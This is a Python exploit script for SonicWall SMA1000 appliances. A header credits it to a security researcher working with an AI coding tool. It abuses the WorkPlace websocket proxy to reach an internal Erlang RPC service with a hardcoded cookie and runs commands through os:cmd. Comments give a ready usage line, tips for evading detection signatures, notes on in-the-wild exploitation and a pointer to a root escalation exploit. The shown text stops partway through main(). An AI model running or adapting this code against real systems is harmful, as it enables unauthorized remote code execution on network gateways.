SonicWall SMA1000 WorkPlace SSRF → Internal Erlang RPC Remote Code Execution (CVE-2026-15409)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500

#!/usr/bin/env python3
# Exploit by Ryan Emmons @ Rapid7 w/ Claude Code
# Targets the WorkPlace service (usually listening on port 443), likely to be enabled almost all of the time (requires setting up a user auth method like basic AD)
# Developed against ex_sra_vm_12.5.0-02002.ova with the June 2026 hotfix applied (latest prior to patch)
# example rce usage: python3 cve-2026-15409.py --ws-url 'wss://TARGET_IP_HERE/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'touch /var/tmp/remote_code_execution'
# Cookie should be consistent across targets, it's hardcoded for the Erlang process on localhost:1050, based on testing.
# Arbitrary bmID values should generally work as long as the value begins with "-3389". Don't write signatures against "serviceType=SSH", since there are alts like TELNET that work too. 0.0.0.0 can be swapped out for alt addr formats as well.
# Port 1050 is an exploitation technique, not a hardcoded req for exploitation. EITW was observed targeting port 8188 as well, though it seems easier to just use 1050. There may be other services on different ports that can be exploited too.
# Attacker can privesc to root with "remove hotfix" xmlrpc traversal exploit CVE-2026-15410 (targeting localhost:8188) once a shell is established
import argparse
import base64
import getpass
import hashlib
import os
import secrets
import socket
import ssl
import struct
from dataclasses import dataclass

from websockets.sync.client import connect as websocket_connect

# OTP 25 mandatory distribution flags.
DFLAG_EXTENDED_REFERENCES = 0x00000004
DFLAG_FUN_TAGS = 0x00000010
DFLAG_NEW_FUN_TAGS = 0x00000080
DFLAG_EXTENDED_PIDS_PORTS = 0x00000100
DFLAG_EXPORT_PTR_TAG = 0x00000200
DFLAG_BIT_BINARIES = 0x00000400
DFLAG_NEW_FLOATS = 0x00000800
DFLAG_UTF8_ATOMS = 0x00010000
DFLAG_MAP_TAG = 0x00020000
DFLAG_BIG_CREATION = 0x00040000
DFLAG_HANDSHAKE_23 = 0x01000000

FLAGS = (
    DFLAG_EXTENDED_REFERENCES
    | DFLAG_FUN_TAGS
    | DFLAG_NEW_FUN_TAGS
    | DFLAG_EXTENDED_PIDS_PORTS
    | DFLAG_EXPORT_PTR_TAG
    | DFLAG_BIT_BINARIES
    | DFLAG_NEW_FLOATS
    | DFLAG_UTF8_ATOMS
    | DFLAG_MAP_TAG
    | DFLAG_BIG_CREATION
    | DFLAG_HANDSHAKE_23
)

ETF_VERSION = 131
SMALL_INTEGER_EXT = 97
INTEGER_EXT = 98
ATOM_EXT = 100
REFERENCE_EXT = 101
PID_EXT = 103
SMALL_TUPLE_EXT = 104
NEW_PID_EXT = 88
NEWER_REFERENCE_EXT = 90
NIL_EXT = 106
STRING_EXT = 107
LIST_EXT = 108
BINARY_EXT = 109
ATOM_UTF8_EXT = 118
SMALL_ATOM_UTF8_EXT = 119


@dataclass(frozen=True)
class Pid:
    node: str
    ident: int
    serial: int
    creation: int


@dataclass(frozen=True)
class Reference:
    node: str
    ident: int
    creation: int


class WebSocketTransport:
    SMA_READY_FRAME = b"\x0b\x00\x00\x00\x00"

    def __init__(self, url, origin=None, user_agent=None, insecure_tls=False):
        additional_headers = {}
        if user_agent:
            additional_headers["User-Agent"] = user_agent
        ssl_context = None
        if insecure_tls:
            ssl_context = ssl._create_unverified_context()
        self._ws = websocket_connect(
            url,
            origin=origin,
            additional_headers=additional_headers or None,
            subprotocols=["binary"],
            compression=None,
            max_size=None,
            ping_interval=None,
            ssl=ssl_context,
            user_agent_header=None,
        )
        self._recv_buffer = bytearray()
        self._consume_ready_frame()

    def _coerce_message(self, message):
        if isinstance(message, str):
            return message.encode()
        if isinstance(message, bytes):
            return message
        raise TypeError(f"unexpected websocket message type: {type(message)!r}")

    def _consume_ready_frame(self):
        try:
            message = self._ws.recv(timeout=1)
        except TimeoutError:
            return
        if message is None:
            return
        data = self._coerce_message(message)
        if data != self.SMA_READY_FRAME:
            self._recv_buffer.extend(data)

    def sendall(self, data):
        self._ws.send(base64.b64encode(data).decode("ascii"))

    def recv(self, size):
        while len(self._recv_buffer) < size:
            message = self._ws.recv()
            if message is None:
                break
            self._recv_buffer.extend(self._coerce_message(message))

        data = bytes(self._recv_buffer[:size])
        del self._recv_buffer[:size]
        return data

    def close(self):
        self._ws.close()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc, tb):
        self.close()


def open_transport(
    host,
    port,
    ws_url=None,
    ws_origin=None,
    ws_user_agent=None,
    ws_insecure_tls=False,
):
    if ws_url:
        return WebSocketTransport(
            ws_url,
            origin=ws_origin,
            user_agent=ws_user_agent,
            insecure_tls=ws_insecure_tls,
        )
    return socket.create_connection((host, port), timeout=5)


def recv_exact(sock, size):
    buf = bytearray()
    while len(buf) < size:
        chunk = sock.recv(size - len(buf))
        if not chunk:
            raise ConnectionError("peer closed connection")
        buf.extend(chunk)
    return bytes(buf)


def send_handshake_packet(sock, payload):
    sock.sendall(struct.pack(">H", len(payload)) + payload)


def recv_handshake_packet(sock):
    size = struct.unpack(">H", recv_exact(sock, 2))[0]
    return recv_exact(sock, size)


def send_dist_packet(sock, payload):
    sock.sendall(struct.pack(">I", len(payload)) + payload)


def recv_dist_packet(sock):
    size = struct.unpack(">I", recv_exact(sock, 4))[0]
    if size == 0:
        return b""
    return recv_exact(sock, size)


def erl_digest(cookie, challenge):
    # OTP dist_util.erl uses md5(atom_to_list(Cookie) ++ integer_to_list(Challenge)).
    return hashlib.md5((cookie + str(challenge)).encode()).digest()


def parse_challenge(payload):
    if payload[:1] == b"N":
        if len(payload) < 19:
            raise ValueError("short new-style challenge packet")

        flags, challenge, creation, name_len = struct.unpack(">QIIH", payload[1:19])
        name = payload[19 : 19 + name_len].decode(errors="replace")
        return flags, challenge, creation, name

    if payload[:1] == b"n":
        if len(payload) < 11:
            raise ValueError("short old-style challenge packet")

        version, flags, challenge = struct.unpack(">HII", payload[1:11])
        name = payload[11:].decode(errors="replace")
        return flags, challenge, 0, name

    raise ValueError(f"unexpected challenge packet tag: {payload[:1]!r}")


def etf_atom(value):
    data = value.encode()
    if len(data) <= 255:
        return bytes([SMALL_ATOM_UTF8_EXT, len(data)]) + data
    return bytes([ATOM_UTF8_EXT]) + struct.pack(">H", len(data)) + data


def etf_small_int(value):
    if not 0 <= value <= 255:
        raise ValueError("small integer out of range")
    return bytes([SMALL_INTEGER_EXT, value])


def etf_int(value):
    return bytes([INTEGER_EXT]) + struct.pack(">i", value)


def etf_nil():
    return bytes([NIL_EXT])


def etf_string(value):
    data = value.encode()
    return bytes([STRING_EXT]) + struct.pack(">H", len(data)) + data


def etf_binary(value):
    if isinstance(value, str):
        value = value.encode()
    return bytes([BINARY_EXT]) + struct.pack(">I", len(value)) + value


def etf_tuple(*items):
    if len(items) > 255:
        raise ValueError("tuple arity too large for SMALL_TUPLE_EXT")
    return bytes([SMALL_TUPLE_EXT, len(items)]) + b"".join(items)


def etf_list(items):
    return bytes([LIST_EXT]) + struct.pack(">I", len(items)) + b"".join(items) + etf_nil()


def etf_pid(pid):
    return (
        bytes([PID_EXT])
        + etf_atom(pid.node)
        + struct.pack(">II", pid.ident, pid.serial)
        + bytes([pid.creation])
    )


def etf_reference(ref):
    return (
        bytes([REFERENCE_EXT])
        + etf_atom(ref.node)
        + struct.pack(">I", ref.ident)
        + bytes([ref.creation])
    )


def decode_etf(data, offset=0):
    tag = data[offset]
    offset += 1

    if tag == ETF_VERSION:
        return decode_etf(data, offset)

    if tag == SMALL_INTEGER_EXT:
        return data[offset], offset + 1

    if tag == INTEGER_EXT:
        return struct.unpack(">i", data[offset : offset + 4])[0], offset + 4

    if tag in (ATOM_EXT, ATOM_UTF8_EXT):
        length = struct.unpack(">H", data[offset : offset + 2])[0]
        offset += 2
        return data[offset : offset + length].decode(errors="replace"), offset + length

    if tag == SMALL_ATOM_UTF8_EXT:
        length = data[offset]
        offset += 1
        return data[offset : offset + length].decode(errors="replace"), offset + length

    if tag == STRING_EXT:
        length = struct.unpack(">H", data[offset : offset + 2])[0]
        offset += 2
        return data[offset : offset + length].decode(errors="replace"), offset + length

    if tag == BINARY_EXT:
        length = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        return data[offset : offset + length], offset + length

    if tag == NIL_EXT:
        return [], offset

    if tag == SMALL_TUPLE_EXT:
        arity = data[offset]
        offset += 1
        values = []
        for _ in range(arity):
            value, offset = decode_etf(data, offset)
            values.append(value)
        return tuple(values), offset

    if tag == LIST_EXT:
        length = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        values = []
        for _ in range(length):
            value, offset = decode_etf(data, offset)
            values.append(value)
        tail, offset = decode_etf(data, offset)
        if tail != []:
            values.append(("tail", tail))
        return values, offset

    if tag == PID_EXT:
        node, offset = decode_etf(data, offset)
        ident, serial = struct.unpack(">II", data[offset : offset + 8])
        offset += 8
        creation = data[offset]
        return Pid(node, ident, serial, creation), offset + 1

    if tag == NEW_PID_EXT:
        node, offset = decode_etf(data, offset)
        ident, serial, creation = struct.unpack(">III", data[offset : offset + 12])
        return Pid(node, ident, serial, creation), offset + 12

    if tag == REFERENCE_EXT:
        node, offset = decode_etf(data, offset)
        ident = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        creation = data[offset]
        return Reference(node, ident, creation), offset + 1

    if tag == NEWER_REFERENCE_EXT:
        length = struct.unpack(">H", data[offset : offset + 2])[0]
        offset += 2
        node, offset = decode_etf(data, offset)
        creation = struct.unpack(">I", data[offset : offset + 4])[0]
        offset += 4
        ids = []
        for _ in range(length):
            ids.append(struct.unpack(">I", data[offset : offset + 4])[0])
            offset += 4
        return ("reference", node, creation, tuple(ids)), offset

    raise ValueError(f"unsupported ETF tag: {tag}")


def rpc_call(sock, node_name, module, function, args):
    sender_pid = Pid(node=node_name, ident=1, serial=0, creation=0)
    request = etf_tuple(
        etf_pid(sender_pid),
        etf_tuple(
            etf_atom("call"),
            etf_atom(module),
            etf_atom(function),
            etf_list(args),
            etf_atom("user"),
        ),
    )
    control = etf_tuple(
        etf_small_int(6),
        etf_pid(sender_pid),
        etf_atom("nocookie"),
        etf_atom("rex"),
    )
    send_dist_packet(sock, bytes([112, ETF_VERSION]) + control + bytes([ETF_VERSION]) + request)

    while True:
        packet = recv_dist_packet(sock)
        if not packet:
            continue
        if packet[0] != 112:
            raise RuntimeError(f"unexpected distribution packet type: {packet[0]}")

        control_term, offset = decode_etf(packet, 1)
        message_term, _ = decode_etf(packet, offset)
        if (
            isinstance(control_term, tuple)
            and control_term
            and control_term[0] == 2
            and isinstance(message_term, tuple)
            and len(message_term) == 2
            and message_term[0] == "rex"
        ):
            return message_term[1]


def format_term(value):
    if isinstance(value, bytes):
        return value.decode(errors="replace")
    if isinstance(value, tuple):
        return "{" + ", ".join(format_term(item) for item in value) + "}"
    if isinstance(value, list):
        return "[" + ", ".join(format_term(item) for item in value) + "]"
    return str(value)


def connect(
    host,
    port,
    cookie,
    node_name,
    rpc=None,
    ws_url=None,
    ws_origin=None,
    ws_user_agent=None,
    ws_insecure_tls=False,
):
    node_name_bytes = node_name.encode()
    my_creation = 0

    with open_transport(
        host,
        port,
        ws_url=ws_url,
        ws_origin=ws_origin,
        ws_user_agent=ws_user_agent,
        ws_insecure_tls=ws_insecure_tls,
    ) as sock:
        name_packet = (
            b"N"
            + struct.pack(">QIH", FLAGS, my_creation, len(node_name_bytes))
            + node_name_bytes
        )
        send_handshake_packet(sock, name_packet)

        status = recv_handshake_packet(sock)
        if not status.startswith(b"s"):
            raise RuntimeError(f"unexpected status packet: {status!r}")

        status_text = status[1:].decode(errors="replace")
        if status_text not in ("ok", "ok_simultaneous"):
            raise RuntimeError(f"connection rejected: {status_text}")

        challenge_packet = recv_handshake_packet(sock)
        peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(
            challenge_packet
        )

        my_challenge = secrets.randbits(32)
        reply = b"r" + struct.pack(">I", my_challenge) + erl_digest(cookie, peer_challenge)
        send_handshake_packet(sock, reply)

        ack = recv_handshake_packet(sock)
        if ack[:1] != b"a":
            raise RuntimeError(f"unexpected ack packet: {ack!r}")

        if ack[1:] != erl_digest(cookie, my_challenge):
            raise RuntimeError("cookie authentication failed")

        rpc_result = None
        if rpc is not None:
            rpc_result = rpc_call(sock, node_name, *rpc)

        return peer_name, peer_flags, peer_creation, rpc_result


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=1050)
    parser.add_argument("--cookie", default="10ecad5b446e86864832904cd439b6b70262")
    parser.add_argument("--name", default=f"py_{os.getpid()}@127.0.0.1")
    parser.add_argument("--ws-url")
    parser.add_argument("--ws-origin")
    parser.add_argument("--ws-user-agent")
    parser.add_argument("--ws-insecure-tls", action="store_true")
    parser.add_argument("--rpc", action="store_true", help="call erlang:node/0 after authenticating")
    parser.add_argument("--read-file", help="call file:read_file/1 for the given path")
    parser.add_argument("--exec", dest="exec_command", help="call os:cmd/1 with the given command")
    args = parser.parse_args()

    cookie = args.cookie or getpass.getpass("Erlang cookie: ")
    if args.exec_command:
        rpc = ("os", "cmd", [etf_string(args.exec_command)])
    elif args.read_file: